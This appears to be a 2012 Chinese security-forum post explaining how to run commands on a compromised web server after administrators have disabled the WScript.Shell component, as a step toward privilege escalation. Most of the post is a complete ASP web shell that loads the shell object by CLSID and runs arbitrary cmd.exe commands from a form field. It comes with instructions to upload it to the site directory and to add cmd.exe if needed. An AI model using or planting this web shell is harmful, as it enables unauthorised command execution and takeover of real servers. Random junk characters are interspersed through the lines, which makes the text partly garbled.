找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1978|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。& w' c3 {2 D8 I6 \, F
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。6 H4 Y% b' t5 g) ]! F5 d" c
要想让运行命令可以试试这种方法,成功率为五五之数。6 Y/ m4 o6 J, m/ d
把下面代码复制:1 L' [, ?+ e/ i" o
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
9 ^. g; x. S- U* D0 k<%if err then%>
9 I: L9 n- [0 a+ n<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
$ v& V$ i/ c1 k  K7 G2 D$ o<%
; x7 \; L" |! V3 v2 |% [  n4 n" Tend if
  [: R+ `) k3 M7 Iresponse.write("<textarea readonly cols=80 rows=20>")7 }* N4 }/ X7 g$ \
On Error Resume Next& @6 `- p4 g8 R. F/ k$ D+ M" m
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
, D# K7 a) Q  r5 U  ~response.write("</textarea>")
3 u% {- W- e6 U8 G* }6 i) R# q& ~: Gresponse.write("<form method='post'>")
2 I+ i2 q9 U- ?* _# kresponse.write("<input type=text name='c' size=60><br>")3 A0 R+ [8 ]9 C: d' d
response.write("<input type=submit value='执行'></form>")# Z+ `" ^  h  Q: `+ e3 Q& [
%>
' h- x- {4 J& N- N( f/ ?6 V7 a1 s4 t$ ]) G6 k1 r2 X
保存为一个asp文件,然后传到网站目录上去
5 \* H7 |+ a) t运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。/ h, R& p; J) d+ }, M8 d
我用此成功运行过cacls命令。+ j  O% P9 V  B: ^9 z! p
/ y) b2 B6 U7 a/ d$ `
第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表